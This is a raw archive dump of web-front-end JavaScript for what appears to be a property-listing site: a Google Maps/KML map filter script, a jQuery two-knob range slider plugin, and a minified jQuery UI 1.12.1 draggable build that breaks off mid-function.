docSet.each(function(doc) {
if (!!doc.markers) {
count += doc.markers.length;
}
});
if (!count) {
var geocoder = new google.maps.Geocoder();
var opts = {
address : this.options.defaultArea
};
geocoder.geocode(opts, function(results, status) {
if (status == google.maps.GeocoderStatus.OK) {
this.map.fitBounds(results[0].geometry.viewport);
}
}.bind(this));
}
if (document.id(this.options.counterElement)) {
document.id(this.options.counterElement).set('text', count);
}
this.removeMask();
}.bind(this)
});
geoXml.parse(kml);
},
getFilters : function () {
var form = document.id(this.options.form);
var filters = {};
var fields = [
'filter_type_id',
'filter_department_id',
'filter_town_id',
'filter_area_id',
'filter_budget_min',
'filter_budget_max',
'filter_living_space_min',
'filter_living_space_max',
'filter_rooms_min'
];
if (form) {
var transTypes =
document.getElements('[name=filter_transaction_type]');
if (transTypes.length > 1) {
transTypes.each(function(item) {
if (item.get('checked')) {
filters['filter_transaction_type'] =
item.get('value');
}
});
} else if (transTypes.length == 1) {
filters['filter_transaction_type'] =
transTypes[0].get('value');
}
fields.each(function(field) {
var inputfield =
document.getElement('[name='+field+']');
if (inputfield) {
if (inputfield.get('value') > 0) {
filters[field] = inputfield.get('value');
}
}
});
if (form['filter_amenities[]']) {
var amenities =
document.getElements('[name=filter_amenities[]]');
amenities.each(function(item, i) {
if (item.get('checked')) {
filters['filter_amenities[' + i + ']'] =
item.get('value');
}
});
}
}
return filters;
},
applyMask : function() {
this.mask = new Element('div');
this.mask.set('class', 'google-map-mask')
this.mask.setStyles({
'position' : 'absolute',
'width' : this.content.getStyle('width'),
'height' : this.content.getStyle('height'),
'z-index' : '9999'
});
this.content.appendChild(this.mask);
this.myFx = new Fx.Tween(this.mask, {
property : 'opacity'
}).start(0, this.options.opacity);
},
removeMask : function() {
this.myFx.start(this.options.opacity, 0);
if (this.mask.parentNode) {
this.mask.destroy();
}
}
});
PK2��[&V�ۭ�js/jquery-biSlider.jsnu�[���/*
Based on Mootools 1.1 Slider.js
Author : Sylvain Philip
License:
MIT-style license.
*/
/*
Class: BiSlider
Creates a slider with tree elements: two knobs and a container. Returns
the values.
Note:
The Slider requires an XHTML doctype.
Arguments:
element - the knobs container
knobMin - the min handle
knobMax - the max handle
options - see Options below
Options:
steps - the number of steps for your slider.
mode - either 'horizontal' or 'vertical'. defaults to
horizontal.
offset - relative offset for knob position. default to 0.
Events:
onChange - a function to fire when the value changes.
onComplete - a function to fire when you're done dragging.
onTick - optionally, you can alter the onTick behavior, for example
displaying an effect of the knob moving to the desired position.
Passes as parameter the new position.
*/
(function ($) {
const capitalize = (s) => {
if (typeof s !== 'string') return ''
return s.charAt(0).toUpperCase() + s.slice(1)
}
var BiSlider = function(el, knobMin, knobMax, options) {
this.options = $.extend({
onChange: function(steps){},
onComplete: function(step){},
mode: 'horizontal',
steps: 100,
offset: 0
}, options )
this.element = $(el);
this.element.css('position', 'relative');
this.knobMin = $(knobMin);
this.knobMax = $(knobMax);
this.previousChange = -1;
this.previousEnd = -1;
this.step = -1;
var mod, offset;
switch(this.options.mode){
case 'horizontal':
this.z = 'x';
this.p = 'left';
mod = {'x': 'left', 'y': false};
offset = 'offsetWidth';
break;
case 'vertical':
this.z = 'y';
this.p = 'top';
mod = {'x': false, 'y': 'top'};
offset = 'offsetHeight';
}
this.max = this.element[0][offset] - this.knobMin[0][offset] +
(this.options.offset * 2);
this.half = this.knobMin[0][offset]/2;
this.getPos = this.element[0]['offset' + capitalize(this.p)];
this.knobMin.css('position', 'absolute').css(this.p,
- this.options.offset);
this.knobMax.css('position', 'absolute').css(this.p,
this.max);
this.KnobMinWidth = this.knobMin[0][offset] + (this.options.offset * 2);
this.knobMaxWidth = this.knobMax[0][offset] + (this.options.offset * 2);
this.stepMin = this.toStep(- this.options.offset);
this.stepMax = this.toStep(this.max);
var that = this
this.knobMin.draggable({
cancel: false,
containment: 'parent',
axis: 'x',
drag: function(event, ui) {
var maxPosition = that.knobMax.position()[that.p]
var minPosition = ui.position[that.p]
if (minPosition > maxPosition) {
return false
}
that.draggedKnob('dragMin');
},
stop: function(event, ui) {
that.draggedKnob('dragMin');
that.end()
}
})
this.knobMax.draggable({
cancel: false,
containment: 'parent',
axis: 'x',
drag: function(event, ui) {
var maxPosition = ui.position[that.p]
var minPosition = that.knobMin.position()[that.p]
if (maxPosition < minPosition) {
return false
}
that.draggedKnob('dragMax');
},
stop: function(event, ui) {
that.draggedKnob('dragMax');
that.end()
}
})
}
BiSlider.prototype.draggedKnob = function(knob) {
var maxPosition = this.knobMax.position()[this.p]
var minPosition = this.knobMin.position()[this.p]
if (knob == 'dragMax') {
this.step = this.toStep(maxPosition);
this.stepMax = this.step;
} else {
this.step = this.toStep(minPosition);
this.stepMin = this.step;
}
this.checkStep();
}
BiSlider.prototype.checkStep = function() {
if (this.previousChange != this.step){
this.previousChange = this.step;
var steps = {
current : this.step,
minimum : this.stepMin,
maximum : this.stepMax
};
this.options.onChange(steps)
}
}
BiSlider.prototype.end = function(){
if (this.previousEnd !== this.step){
this.previousEnd = this.step;
this.options.onComplete(this.step)
}
}
BiSlider.prototype.toStep = function(position){
return Math.round((position + this.options.offset) / this.max *
this.options.steps)
}
$.fn.bislider = function(options) {
return this.each(function() {
var knobs = $(this).find('.knob')
new BiSlider(this, knobs[0], knobs[1], options)
})
}
}(jQuery))
PK2��[H{Uxxjs/jquery-ui-draggable.min.jsnu�[���/*!
jQuery UI - v1.12.1 - 2019-12-24
* http://jqueryui.com
* Includes: widget.js, data.js, scroll-parent.js, widgets/draggable.js,
widgets/mouse.js
* Copyright jQuery Foundation and other contributors; Licensed MIT */
(function(t){"function"==typeof
define&&define.amd?define(["jquery"],t):t(jQuery)})(function(t){t.ui=t.ui||{},t.ui.version="1.12.1";var
e=0,i=Array.prototype.slice;t.cleanData=function(e){return function(i){var
s,n,o;for(o=0;null!=(n=i[o]);o++)try{s=t._data(n,"events"),s&&s.remove&&t(n).triggerHandler("remove")}catch(a){}e(i)}}(t.cleanData),t.widget=function(e,i,s){var
n,o,a,r={},h=e.split(".")[0];e=e.split(".")[1];var
l=h+"-"+e;return
s||(s=i,i=t.Widget),t.isArray(s)&&(s=t.extend.apply(null,[{}].concat(s))),t.expr[":"][l.toLowerCase()]=function(e){return!!t.data(e,l)},t[h]=t[h]||{},n=t[h][e],o=t[h][e]=function(t,e){return
this._createWidget?(arguments.length&&this._createWidget(t,e),void
0):new
o(t,e)},t.extend(o,n,{version:s.version,_proto:t.extend({},s),_childConstructors:[]}),a=new
i,a.options=t.widget.extend({},a.options),t.each(s,function(e,s){return
t.isFunction(s)?(r[e]=function(){function t(){return
i.prototype[e].apply(this,arguments)}function n(t){return
i.prototype[e].apply(this,t)}return function(){var
e,i=this._super,o=this._superApply;return
this._super=t,this._superApply=n,e=s.apply(this,arguments),this._super=i,this._superApply=o,e}}(),void
0):(r[e]=s,void
0)}),o.prototype=t.widget.extend(a,{widgetEventPrefix:n?a.widgetEventPrefix||e:e},r,{constructor:o,namespace:h,widgetName:e,widgetFullName:l}),n?(t.each(n._childConstructors,function(e,i){var
s=i.prototype;t.widget(s.namespace+"."+s.widgetName,o,i._proto)}),delete
n._childConstructors):i._childConstructors.push(o),t.widget.bridge(e,o),o},t.widget.extend=function(e){for(var
s,n,o=i.call(arguments,1),a=0,r=o.length;r>a;a++)for(s in
o[a])n=o[a][s],o[a].hasOwnProperty(s)&&void
0!==n&&(e[s]=t.isPlainObject(n)?t.isPlainObject(e[s])?t.widget.extend({},e[s],n):t.widget.extend({},n):n);return
e},t.widget.bridge=function(e,s){var
n=s.prototype.widgetFullName||e;t.fn[e]=function(o){var
a="string"==typeof o,r=i.call(arguments,1),h=this;return
a?this.length||"instance"!==o?this.each(function(){var
i,s=t.data(this,n);return"instance"===o?(h=s,!1):s?t.isFunction(s[o])&&"_"!==o.charAt(0)?(i=s[o].apply(s,r),i!==s&&void
0!==i?(h=i&&i.jquery?h.pushStack(i.get()):i,!1):void
0):t.error("no such method '"+o+"' for
"+e+" widget instance"):t.error("cannot call methods on
"+e+" prior to initialization; "+"attempted to call
method '"+o+"'")}):h=void
0:(r.length&&(o=t.widget.extend.apply(null,[o].concat(r))),this.each(function(){var
e=t.data(this,n);e?(e.option(o||{}),e._init&&e._init()):t.data(this,n,new
s(o,this))})),h}},t.Widget=function(){},t.Widget._childConstructors=[],t.Widget.prototype={widgetName:"widget",widgetEventPrefix:"",defaultElement:"<div>",options:{classes:{},disabled:!1,create:null},_createWidget:function(i,s){s=t(s||this.defaultElement||this)[0],this.element=t(s),this.uuid=e++,this.eventNamespace="."+this.widgetName+this.uuid,this.bindings=t(),this.hoverable=t(),this.focusable=t(),this.classesElementLookup={},s!==this&&(t.data(s,this.widgetFullName,this),this._on(!0,this.element,{remove:function(t){t.target===s&&this.destroy()}}),this.document=t(s.style?s.ownerDocument:s.document||s),this.window=t(this.document[0].defaultView||this.document[0].parentWindow)),this.options=t.widget.extend({},this.options,this._getCreateOptions(),i),this._create(),this.options.disabled&&this._setOptionDisabled(this.options.disabled),this._trigger("create",null,this._getCreateEventData()),this._init()},_getCreateOptions:function(){return{}},_getCreateEventData:t.noop,_create:t.noop,_init:t.noop,destroy:function(){var
e=this;this._destroy(),t.each(this.classesElementLookup,function(t,i){e._removeClass(i,t)}),this.element.off(this.eventNamespace).removeData(this.widgetFullName),this.widget().off(this.eventNamespace).removeAttr("aria-disabled"),this.bindings.off(this.eventNamespace)},_destroy:t.noop,widget:function(){return
this.element},option:function(e,i){var
s,n,o,a=e;if(0===arguments.length)return
t.widget.extend({},this.options);if("string"==typeof
e)if(a={},s=e.split("."),e=s.shift(),s.length){for(n=a[e]=t.widget.extend({},this.options[e]),o=0;s.length-1>o;o++)n[s[o]]=n[s[o]]||{},n=n[s[o]];if(e=s.pop(),1===arguments.length)return
void 0===n[e]?null:n[e];n[e]=i}else{if(1===arguments.length)return void
0===this.options[e]?null:this.options[e];a[e]=i}return
this._setOptions(a),this},_setOptions:function(t){var e;for(e in
t)this._setOption(e,t[e]);return
this},_setOption:function(t,e){return"classes"===t&&this._setOptionClasses(e),this.options[t]=e,"disabled"===t&&this._setOptionDisabled(e),this},_setOptionClasses:function(e){var
i,s,n;for(i in
e)n=this.classesElementLookup[i],e[i]!==this.options.classes[i]&&n&&n.length&&(s=t(n.get()),this._removeClass(n,i),s.addClass(this._classes({element:s,keys:i,classes:e,add:!0})))},_setOptionDisabled:function(t){this._toggleClass(this.widget(),this.widgetFullName+"-disabled",null,!!t),t&&(this._removeClass(this.hoverable,null,"ui-state-hover"),this._removeClass(this.focusable,null,"ui-state-focus"))},enable:function(){return
this._setOptions({disabled:!1})},disable:function(){return
this._setOptions({disabled:!0})},_classes:function(e){function i(i,o){var
a,r;for(r=0;i.length>r;r++)a=n.classesElementLookup[i[r]]||t(),a=e.add?t(t.unique(a.get().concat(e.element.get()))):t(a.not(e.element).get()),n.classesElementLookup[i[r]]=a,s.push(i[r]),o&&e.classes[i[r]]&&s.push(e.classes[i[r]])}var
s=[],n=this;return
e=t.extend({element:this.element,classes:this.options.classes||{}},e),this._on(e.element,{remove:"_untrackClassesElement"}),e.keys&&i(e.keys.match(/\S+/g)||[],!0),e.extra&&i(e.extra.match(/\S+/g)||[]),s.join("
")},_untrackClassesElement:function(e){var
i=this;t.each(i.classesElementLookup,function(s,n){-1!==t.inArray(e.target,n)&&(i.classesElementLookup[s]=t(n.not(e.target).get()))})},_removeClass:function(t,e,i){return
this._toggleClass(t,e,i,!1)},_addClass:function(t,e,i){return
this._toggleClass(t,e,i,!0)},_toggleClass:function(t,e,i,s){s="boolean"==typeof
s?s:i;var n="string"==typeof
t||null===t,o={extra:n?e:i,keys:n?t:e,element:n?this.element:t,add:s};return
o.element.toggleClass(this._classes(o),s),this},_on:function(e,i,s){var
n,o=this;"boolean"!=typeof
e&&(s=i,i=e,e=!1),s?(i=n=t(i),this.bindings=this.bindings.add(i)):(s=i,i=this.element,n=this.widget()),t.each(s,function(s,a){function
r(){return
e||o.options.disabled!==!0&&!t(this).hasClass("ui-state-disabled")?("string"==typeof
a?o[a]:a).apply(o,arguments):void 0}"string"!=typeof
a&&(r.guid=a.guid=a.guid||r.guid||t.guid++);var
h=s.match(/^([\w:-]*)\s*(.*)$/),l=h[1]+o.eventNamespace,c=h[2];c?n.on(l,c,r):i.on(l,r)})},_off:function(e,i){i=(i||"").split("
").join(this.eventNamespace+"
")+this.eventNamespace,e.off(i).off(i),this.bindings=t(this.bindings.not(e).get()),this.focusable=t(this.focusable.not(e).get()),this.hoverable=t(this.hoverable.not(e).get())},_delay:function(t,e){function
i(){return("string"==typeof t?s[t]:t).apply(s,arguments)}var
s=this;return
setTimeout(i,e||0)},_hoverable:function(e){this.hoverable=this.hoverable.add(e),this._on(e,{mouseenter:function(e){this._addClass(t(e.currentTarget),null,"ui-state-hover")},mouseleave:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-hover")}})},_focusable:function(e){this.focusable=this.focusable.add(e),this._on(e,{focusin:function(e){this._addClass(t(e.currentTarget),null,"ui-state-focus")},focusout:function(e){this._removeClass(t(e.currentTarget),null,"ui-state-focus")}})},_trigger:function(e,i,s){var
n,o,a=this.options[e];if(s=s||{},i=t.Event(i),i.type=(e===this.widgetEventPrefix?e:this.widgetEventPrefix+e).toLowerCase(),i.target=this.element[0],o=i.originalEvent)for(n
in o)n in i||(i[n]=o[n]);return
this.element.trigger(i,s),!(t.isFunction(a)&&a.apply(this.element[0],[i].concat(s))===!1||i.isDefaultPrevented())}},t.each({show:"fadeIn",hide:"fadeOut"},function(e,i){t.Widget.prototype["_"+e]=function(s,n,o){"string"==typeof
n&&(n={effect:n});var a,r=n?n===!0||"number"==typeof
n?i:n.effect||i:e;n=n||{},"number"==typeof
n&&(n={duration:n}),a=!t.isEmptyObject(n),n.complete=o,n.delay&&s.delay(n.delay),a&&t.effects&&t.effects.effect[r]?s[e](n):r!==e&&s[r]?s[r](n.duration,n.easing,o):s.queue(function(i){t(this)[e](),o&&o.call(s[0]),i()})}}),t.widget,t.extend(t.expr[":"],{data:t.expr.createPseudo?t.expr.createPseudo(function(e){return
function(i){return!!t.data(i,e)}}):function(e,i,s){return!!t.data(e,s[3])}}),t.fn.scrollParent=function(e){var
i=this.css("position"),s="absolute"===i,n=e?/(auto|scroll|hidden)/:/(auto|scroll)/,o=this.parents().filter(function(){var
e=t(this);return
s&&"static"===e.css("position")?!1:n.test(e.css("overflow")+e.css("overflow-y")+e.css("overflow-x"))}).eq(0);return"fixed"!==i&&o.length?o:t(this[0].ownerDocument||document)},t.ui.ie=!!/msie
[\w.]+/.exec(navigator.userAgent.toLowerCase());var
s=!1;t(document).on("mouseup",function(){s=!1}),t.widget("ui.mouse",{version:"1.12.1",options:{cancel:"input,
textarea, button, select,
option",distance:1,delay:0},_mouseInit:function(){var
e=this;this.element.on("mousedown."+this.widgetName,function(t){return
e._mouseDown(t)}).on("click."+this.widgetName,function(i){return!0===t.data(i.target,e.widgetName+".preventClickEvent")?(t.removeData(i.target,e.widgetName+".preventClickEvent"),i.stopImmediatePropagation(),!1):void
0}),this.started=!1},_mouseDestroy:function(){this.element.off("."+this.widgetName),this._mouseMoveDelegate&&this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate)},_mouseDown:function(e){if(!s){this._mouseMoved=!1,this._mouseStarted&&this._mouseUp(e),this._mouseDownEvent=e;var
i=this,n=1===e.which,o="string"==typeof
this.options.cancel&&e.target.nodeName?t(e.target).closest(this.options.cancel).length:!1;return
n&&!o&&this._mouseCapture(e)?(this.mouseDelayMet=!this.options.delay,this.mouseDelayMet||(this._mouseDelayTimer=setTimeout(function(){i.mouseDelayMet=!0},this.options.delay)),this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(e)!==!1,!this._mouseStarted)?(e.preventDefault(),!0):(!0===t.data(e.target,this.widgetName+".preventClickEvent")&&t.removeData(e.target,this.widgetName+".preventClickEvent"),this._mouseMoveDelegate=function(t){return
i._mouseMove(t)},this._mouseUpDelegate=function(t){return
i._mouseUp(t)},this.document.on("mousemove."+this.widgetName,this._mouseMoveDelegate).on("mouseup."+this.widgetName,this._mouseUpDelegate),e.preventDefault(),s=!0,!0)):!0}},_mouseMove:function(e){if(this._mouseMoved){if(t.ui.ie&&(!document.documentMode||9>document.documentMode)&&!e.button)return
this._mouseUp(e);if(!e.which)if(e.originalEvent.altKey||e.originalEvent.ctrlKey||e.originalEvent.metaKey||e.originalEvent.shiftKey)this.ignoreMissingWhich=!0;else
if(!this.ignoreMissingWhich)return
this._mouseUp(e)}return(e.which||e.button)&&(this._mouseMoved=!0),this._mouseStarted?(this._mouseDrag(e),e.preventDefault()):(this._mouseDistanceMet(e)&&this._mouseDelayMet(e)&&(this._mouseStarted=this._mouseStart(this._mouseDownEvent,e)!==!1,this._mouseStarted?this._mouseDrag(e):this._mouseUp(e)),!this._mouseStarted)},_mouseUp:function(e){this.document.off("mousemove."+this.widgetName,this._mouseMoveDelegate).off("mouseup."+this.widgetName,this._mouseUpDelegate),this._mouseStarted&&(this._mouseStarted=!1,e.target===this._mouseDownEvent.target&&t.data(e.target,this.widgetName+".preventClickEvent",!0),this._mouseStop(e)),this._mouseDelayTimer&&(clearTimeout(this._mouseDelayTimer),delete
this._mouseDelayTimer),this.ignoreMissingWhich=!1,s=!1,e.preventDefault()},_mouseDistanceMet:function(t){return
Math.max(Math.abs(this._mouseDownEvent.pageX-t.pageX),Math.abs(this._mouseDownEvent.pageY-t.pageY))>=this.options.distance},_mouseDelayMet:function(){return
this.mouseDelayMet},_mouseStart:function(){},_mouseDrag:function(){},_mouseStop:function(){},_mouseCapture:function(){return!0}}),t.ui.plugin={add:function(e,i,s){var
n,o=t.ui[e].prototype;for(n in
s)o.plugins[n]=o.plugins[n]||[],o.plugins[n].push([i,s[n]])},call:function(t,e,i,s){var
n,o=t.plugins[e];if(o&&(s||t.element[0].parentNode&&11!==t.element[0].parentNode.nodeType))for(n=0;o.length>n;n++)t.options[o[n][0]]&&o[n][1].apply(t.element,i)}},t.ui.safeActiveElement=function(t){var
e;try{e=t.activeElement}catch(i){e=t.body}return
e||(e=t.body),e.nodeName||(e=t.body),e},t.ui.safeBlur=function(e){e&&"body"!==e.nodeName.toLowerCase()&&t(e).trigger("blur")},t.widget("ui.draggable",t.ui.mouse,{version:"1.12.1",widgetEventPrefix:"drag",options:{addClasses:!0,appendTo:"parent",axis:!1,connectToSortable:!1,containment:!1,cursor:"auto",cursorAt:!1,grid:!1,handle:!1,helper:"original",iframeFix:!1,opacity:!1,refreshPositions:!1,revert:!1,revertDuration:500,scope:"default",scroll:!0,scrollSensitivity:20,scrollSpeed:20,snap:!1,snapMode:"both",snapTolerance:20,stack:!1,zIndex:!1,drag:null,start:null,stop:null},_create:function(){"original"===this.options.helper&&this._setPositionRelative(),this.options.addClasses&&this._addClass("ui-draggable"),this._setHandleClassName(),this._mouseInit()},_setOption:function(t,e){this._super(t,e),"handle"===t&&(this._removeHandleClassName(),this._setHandleClassName())},_destroy:function(){return(this.helper||this.element).is(".ui-draggable-dragging")?(this.destroyOnClear=!0,void
0):(this._removeHandleClassName(),this._mouseDestroy(),void
0)},_mouseCapture:function(e){var i=this.options;return
this.helper||i.disabled||t(e.target).closest(".ui-resizable-handle").length>0?!1:(this.handle=this._getHandle(e),this.handle?(this._blurActiveElement(e),this._blockFrames(i.iframeFix===!0?"iframe":i.iframeFix),!0):!1)},_blockFrames:function(e){this.iframeBlocks=this.document.find(e).map(function(){var
e=t(this);return
t("<div>").css("position","absolute").appendTo(e.parent()).outerWidth(e.outerWidth()).outerHeight(e.outerHeight()).offset(e.offset())[0]})},_unblockFrames:function(){this.iframeBlocks&&(this.iframeBlocks.remove(),delete
this.iframeBlocks)},_blurActiveElement:function(e){var
i=t.ui.safeActiveElement(this.document[0]),s=t(e.target);s.closest(i).length||t.ui.safeBlur(i)},_mouseStart:function(e){var
i=this.options;return
this.helper=this._createHelper(e),this._addClass(this.helper,"ui-draggable-dragging"),this._cacheHelperProportions(),t.ui.ddmanager&&(t.ui.ddmanager.current=this),this._cacheMargins(),this.cssPosition=this.helper.css("position"),this.scrollParent=this.helper.scrollParent(!0),this.offsetParent=this.helper.offsetParent(),this.hasFixedAncestor=this.helper.parents().filter(function(){return"fixed"===t(this).css("position")}).length>0,this.positionAbs=this.element.offset(),this._refreshOffsets(e),this.originalPosition=this.position=this._generatePosition(e,!1),this.originalPageX=e.pageX,this.originalPageY=e.pageY,i.cursorAt&&this._adjustOffsetFromHelper(i.cursorAt),this._setContainment(),this._trigger("start",e)===!1?(this._clear(),!1):(this._cacheHelperProportions(),t.ui.ddmanager&&!i.dropBehaviour&&t.ui.ddmanager.prepareOffsets(this,e),this._mouseDrag(e,!0),t.ui.ddmanager&&t.ui.ddmanager.dragStart(this,e),!0)},_refreshOffsets:function(t){this.offset={top:this.positionAbs.top-this.margins.top,left:this.positionAbs.left-this.margins.left,scroll:!1,parent:this._getParentOffset(),relative:this._getRelativeOffset()},this.offset.click={left:t.pageX-this.offset.left,top:t.pageY-this.offset.top}},_mouseDrag:function(e,i){if(this.hasFixedAncestor&&(this.offset.parent=this._getParentOffset()),this.position=this._generatePosition(e,!0),this.positionAbs=this._convertPositionTo("absolute"),!i){var
s=this._uiHash();if(this._trigger("drag",e,s)===!1)return
this._mouseUp(new
t.Event("mouseup",e)),!1;this.position=s.position}return
this.helper[0].style.left=this.position.left+"px",this.helper[0].style.top=this.position.top+"px",t.ui.ddmanager&&t.ui.ddmanager.drag(this,e),!1},_mouseStop:function(e){var
i=this,s=!1;return
t.ui.ddmanager&&!this.options.dropBehaviour&&(s=t.ui.ddmanager.drop(this,e)),this.dropped&&(s=this.dropped,this.dropped=!1),"invalid"===this.options.revert&&!s||"valid"===this.options.revert&&s||this.options.revert===!0||t.isFunction(this.options.revert)&&this.options.revert.call(this.element,s)?t(this.helper).animate(this.originalPosition,parseInt(this.options.revertDuration,10),function(){i._trigger("stop",e)!==!1&&i._clear()}):this._trigger("stop",e)!==!1&&this._clear(),!1},_mouseUp:function(e){return
this._unblockFrames(),t.ui.ddmanager&&t.ui.ddmanager.dragStop(this,e),this.handleElement.is(e.target)&&this.element.trigger("focus"),t.ui.mouse.prototype._mouseUp.call(this,e)},cancel:function(){return
this.helper.is(".ui-draggable-dragging")?this._mouseUp(new
t.Event("mouseup",{target:this.element[0]})):this._clear(),this},_getHandle:function(e){return
this.options.handle?!!t(e.target).closest(this.element.find(this.options.handle)).length:!0},_setHandleClassName:function(){this.handleElement=this.options.handle?this.element.find(this.options.handle):this.element,this._addClass(this.handleElement,"ui-draggable-handle")},_removeHandleClassName:function(){this._removeClass(this.handleElement,"ui-draggable-handle")},_createHelper:function(e){var
i=this.options,s=t.isFunction(i.helper),n=s?t(i.helper.apply(this.element[0],[e])):"clone"===i.helper?this.element.clone().removeAttr("id"):this.element;return
n.parents("body").length||n.appendTo("parent"===i.appendTo?this.element[0].parentNode:i.appendTo),s&&n[0]===this.element[0]&&this._setPositionRelative(),n[0]===this.element[0]||/(fixed|absolute)/.test(n.css("position"))||n.css("position","absolute"),n},_setPositionRelative:function(){/^(?:r|a|f)/.test(this.element.css("position"))||(this.element[0].style.position="relative")},_adjustOffsetFromHelper:function(e){"string"==typeof
e&&(e=e.split("
")),t.isArray(e)&&(e={left:+e[0],top:+e[1]||0}),"left"in
e&&(this.offset.click.left=e.left+this.margins.left),"right"in
e&&(this.offset.click.left=this.helperProportions.width-e.right+this.margins.left),"top"in
e&&(this.offset.click.top=e.top+this.margins.top),"bottom"in
e&&(this.offset.click.top=this.helperProportions.height-e.bottom+this.margins.top)},_isRootNode:function(t){return/(html|body)/i.test(t.tagName)||t===this.document[0]},_getParentOffset:function(){var
e=this.offsetParent.offset(),i=this.document[0];return"absolute"===this.cssPosition&&this.scrollParent[0]!==i&&t.contains(this.scrollParent[0],this.offsetParent[0])&&(e.left+=this.scrollParent.scrollLeft(),e.top+=this.scrollParent.scrollTop()),this._isRootNode(this.offsetParent[0])&&(e={top:0,left:0}),{top:e.top+(parseInt(this.offsetParent.css("borderTopWidth"),10)||0),left:e.left+(parseInt(this.offsetParent.css("borderLeftWidth"),10)||0)}},_getRelativeOffset:function(){if("relative"!==this.cssPosition)return{top:0,left:0};var
t=this.element.position(),e=this._isRootNode(this.scrollParent[0]);return{top:t.top-(parseInt(this.helper.css("top"),10)||0)+(e?0:this.scrollParent.scrollTop()),left:t.left-(parseInt(this.helper.css("left"),10)||0)+(e?0:this.scrollParent.scrollLeft())}},_cacheMargins:function(){this.margins={left:parseInt(this.element.css("marginLeft"),10)||0,top:parseInt(this.element.css("marginTop"),10)||0,right:parseInt(this.element.css("marginRight"),10)||0,bottom:parseInt(this.element.css("marginBottom"),10)||0}},_cacheHelperProportions:function(){this.helperProportions={width:this.helper.outerWidth(),height:this.helper.outerHeight()}},_setContainment:function(){var
e,i,s,n=this.options,o=this.document[0];return
this.relativeContainer=null,n.containment?"window"===n.containment?(this.containment=[t(window).scrollLeft()-this.offset.relative.left-this.offset.parent.left,t(window).scrollTop()-this.offset.relative.top-this.offset.parent.top,t(window).scrollLeft()+t(window).width()-this.helperProportions.width-this.margins.left,t(window).scrollTop()+(t(window).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void
0):"document"===n.containment?(this.containment=[0,0,t(o).width()-this.helperProportions.width-this.margins.left,(t(o).height()||o.body.parentNode.scrollHeight)-this.helperProportions.height-this.margins.top],void
0):n.containment.constructor===Array?(this.containment=n.containment,void
0):("parent"===n.containment&&(n.containment=this.helper[0].parentNode),i=t(n.containment),s=i[0],s&&(e=/(scroll|auto)/.test(i.css("overflow")),this.containment=[(parseInt(i.css("borderLeftWidth"),10)||0)+(parseInt(i.css("paddingLeft"),10)||0),(parseInt(i.css("borderTopWidth"),10)||0)+(parseInt(i.css("paddingTop"),10)||0),(e?Math.max(s.scrollWidth,s.offsetWidth):s.offsetWidth)-(parseInt(i.css("borderRightWidth"),10)||0)-(parseInt(i.css("paddingRight"),10)||0)-this.helperProportions.width-this.margins.left-this.margins.right,(e?Math.max(s.scrollHeight,s.offsetHeight):s.offsetHeight)-(parseInt(i.css("borderBottomWidth"),10)||0)-(parseInt(i.css("paddingBottom"),10)||0)-this.helperProportions.height-this.margins.top-this.margins.bottom],this.relativeContainer=i),void
0):(this.containment=null,void
0)},_convertPositionTo:function(t,e){e||(e=this.position);var
i="absolute"===t?1:-1,s=this._isRootNode(this.scrollParent[0]);return{top:e.top+this.offset.relative.top*i+this.offset.parent.top*i-("fixed"===this.cssPosition?-this.offset.scroll.top:s?0:this.offset.scroll.top)*i,left:e.left+this.offset.relative.left*i+this.offset.parent.left*i-("fixed"===this.cssPosition?-this.offset.scroll.left:s?0:this.offset.scroll.left)*i}},_generatePosition:function(t,e){var
i,s,n,o,a=this.options,r=this._isRootNode(this.scrollParent[0]),h=t.pageX,l=t.pageY;return
r&&this.offset.scroll||(this.offset.scroll={top:this.scrollParent.scrollTop(),left:this.scrollParent.scrollLeft()}),e&&(this.containment&&(this.relativeContainer?(s=this.relativeContainer.offset(),i=[this.containment[0]+s.left,this.containment[1]+s.top,this.containment[2]+s.left,this.containment[3]+s.top]):i=this.containment,t.pageX-this.offset.click.left<i[0]&&(h=i[0]+this.offset.click.left),t.pageY-this.offset.click.top<i[1]&&(l=i[1]+this.offset.click.top),t.pageX-this.offset.click.left>i[2]&&(h=i[2]+this.offset.click.left),t.pageY-this.offset.click.top>i[3]&&(l=i[3]+this.offset.click.top)),a.grid&&(n=a.grid[1]?this.originalPageY+Math.round((l-this.originalPageY)/a.grid[1])*a.grid[1]:this.originalPageY,l=i?n-this.offset.click.top>=i[1]||n-this.offset.click.top>i[3]?n:n-this.offset.click.top>=i[1]?n-a.grid[1]:n+a.grid[1]:n,o=a.grid[0]?this.originalPageX+Math.round((h-this.originalPageX)/a.grid[0])*a.grid[0]:this.originalPageX,h=i?o-this.offset.click.left>=i[0]||o-this.offset.click.left>i[2]?o:o-this.offset.click.left>=i[0]?o-a.grid[0]:o+a.grid[0]:o),"y"===a.axis&&(h=this.originalPageX),"x"===a.axis&&(l=this.originalPageY)),{top:l-this.offset.click.top-this.offset.relative.top-this.offset.parent.top+("fixed"===this.cssPosition?-this.offset.scroll.top:r?0:this.offset.scroll.top),left:h-this.offset.click.left-this.offset.relative.left-this.offset.parent.left+("fixed"===this.cssPosition?-this.offset.scroll.left:r?0:this.offset.scroll.left)}},_clear:function(){this._removeClass(this.helper,"ui-draggable-dragging"),this.helper[0]===this.element[0]||this.cancelHelperRemoval||this.helper.remove(),this.helper=null,this.cancelHelperRemoval=!1,this.destroyOnClear&&this.destroy()},_trigger:function(e,i,s){return
s=s||this._uiHash(),t.ui.plugin.call(this,e,[i,s,this],!0),/^(drag|start|stop)/.test(e)&&(this.positionAbs=this._convertPositionTo("absolute"),s.offset=this.positionAbs),t.Widget.prototype._trigger.call(this,e,i,s)},plugins:{},_uiHash:function(){return{helper:this.helper,position:this.position,originalPosition:this.originalPosition,offset:this.positionAbs}}}),t.ui.plugin.add("draggable","connectToSortable",{start:function(e,i,s){var
n=t.extend({},i,{item:s.element});s.sortables=[],t(s.options.connectToSortable).each(function(){var
i=t(this).sortable("instance");i&&!i.options.disabled&&(s.sortables.push(i),i.refreshPositions(),i._trigger("activate",e,n))})},stop:function(e,i,s){var
n=t.extend({},i,{item:s.element});s.cancelHelperRemoval=!1,t.each(s.sortables,function(){var
